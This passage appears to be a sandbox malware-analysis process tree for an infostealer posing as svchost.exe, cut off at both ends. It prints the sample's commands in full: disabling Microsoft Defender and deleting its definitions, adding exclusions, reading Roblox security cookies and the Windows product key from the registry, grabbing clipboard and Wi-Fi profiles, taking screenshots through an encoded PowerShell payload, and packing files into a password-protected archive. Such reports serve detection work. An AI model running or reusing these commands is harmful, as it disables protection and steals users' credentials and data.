        C:\Windows\system32\cmd.exe /c "tree /A /F"
        19⤵
        
        PID:2660
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        20⤵
        
        PID:2280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        19⤵
        Executes a command shell one-liner
        
        PID:5432
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        20⤵
        
        PID:4420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        19⤵
        Executes a command shell one-liner
        
        PID:3316
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        20⤵
        
        PID:3876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        19⤵
        
        PID:1164
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        20⤵
        
        PID:4760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        19⤵
        
        PID:2284
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        20⤵
        
        PID:4800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        19⤵
        
        PID:944
        
        C:\Windows\system32\getmac.exe
        
        getmac
        20⤵
        
        PID:2160
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        19⤵
        
        PID:4784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3220
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        19⤵
        
        PID:2580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        20⤵
        
        PID:5560
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI43762\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Ezk3z.zip" *"
        19⤵
        
        PID:3348
        
        C:\Users\Admin\AppData\Local\Temp\_MEI43762\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI43762\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Ezk3z.zip" *
        20⤵
        
        PID:1212
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        19⤵
        
        PID:292
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        20⤵
        
        PID:2748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        19⤵
        Executes a command shell one-liner
        
        PID:2100
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        20⤵
        
        PID:6052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        19⤵
        Executes a command shell one-liner
        
        PID:820
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        20⤵
        
        PID:4776
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        19⤵
        Executes a command shell one-liner
        
        PID:2160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        19⤵
        
        PID:3240
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        20⤵
        Detects videocard installed
        
        PID:4964
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        19⤵
        
        PID:2724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        20⤵
        
        PID:4804
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        16⤵
        
        PID:3704
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        17⤵
        
        PID:1616
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        15⤵
        
        PID:1396
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        16⤵
        
        PID:5136
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        14⤵
        
        PID:4780
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        15⤵
        
        PID:5848
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        13⤵
        
        PID:4156
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        14⤵
        
        PID:5976
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        12⤵
        
        PID:2560
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        13⤵
        
        PID:3104
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        11⤵
        
        PID:2112
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        12⤵
        
        PID:124
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        10⤵
        
        PID:5832
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        11⤵
        
        PID:5192
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        9⤵
        
        PID:4664
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        10⤵
        
        PID:5476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'"
        11⤵
        
        PID:3068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        11⤵
        
        PID:3336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        12⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:2164
        
        C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        12⤵
        Deletes Windows Defender Definitions
        
        PID:4088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ .scr'"
        11⤵
        Executes a command shell one-liner
        
        PID:3400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ .scr'
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        11⤵
        
        PID:4996
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        12⤵
        Discovers running processes
        
        PID:820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        11⤵
        
        PID:3812
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        12⤵
        Discovers running processes
        
        PID:5508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        11⤵
        
        PID:4428
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        12⤵
        
        PID:3968
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        11⤵
        Clipboard Data
        
        PID:5612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        12⤵
        Clipboard Data
        
        PID:2380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        11⤵
        
        PID:1456
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        12⤵
        Discovers running processes
        
        PID:2908
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        11⤵
        
        PID:2740
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        12⤵
        
        PID:1124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        11⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3760
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3944
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        11⤵
        
        PID:4284
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        12⤵
        Gathers system information
        
        PID:4892
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        11⤵
        
        PID:932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        12⤵
        
        PID:5780
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x3chxatg\x3chxatg.cmdline"
        13⤵
        
        PID:5164
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE814.tmp" "c:\Users\Admin\AppData\Local\Temp\x3chxatg\CSC29CFE4CB2CD344B39B47D62E3914676.TMP"
        14⤵
        
        PID:4088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        11⤵
        
        PID:3708
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        12⤵
        
        PID:3348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        11⤵
        
        PID:1080
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        12⤵
        
        PID:2612
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        11⤵
        
        PID:5152
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        12⤵
        
        PID:4772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        11⤵
        
        PID:960
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        12⤵
        
        PID:4564
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        11⤵
        
        PID:2396
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        12⤵
        
        PID:2056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        11⤵
        Executes a command shell one-liner
        
        PID:4380
        
        C:\Windows\system32\getmac.exe
        
        getmac
        12⤵
        
        PID:4648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        11⤵
        
        PID:3772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        11⤵
        Executes a command shell one-liner
        
        PID:5176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        12⤵
        
        PID:2116
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI46642\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\QiV0h.zip" *"
        11⤵
        
        PID:708
        
        C:\Users\Admin\AppData\Local\Temp\_MEI46642\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI46642\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\QiV0h.zip" *
        12⤵
        
        PID:2976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        11⤵
        Executes a command shell one-liner
        
        PID:2352
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        12⤵
        
        PID:2632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        11⤵
        
        PID:4572
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        12⤵
        
        PID:5228
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        11⤵
        
        PID:4672
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        12⤵
        
        PID:3328
        
        C:\Windows\system32\cmd.exe
        
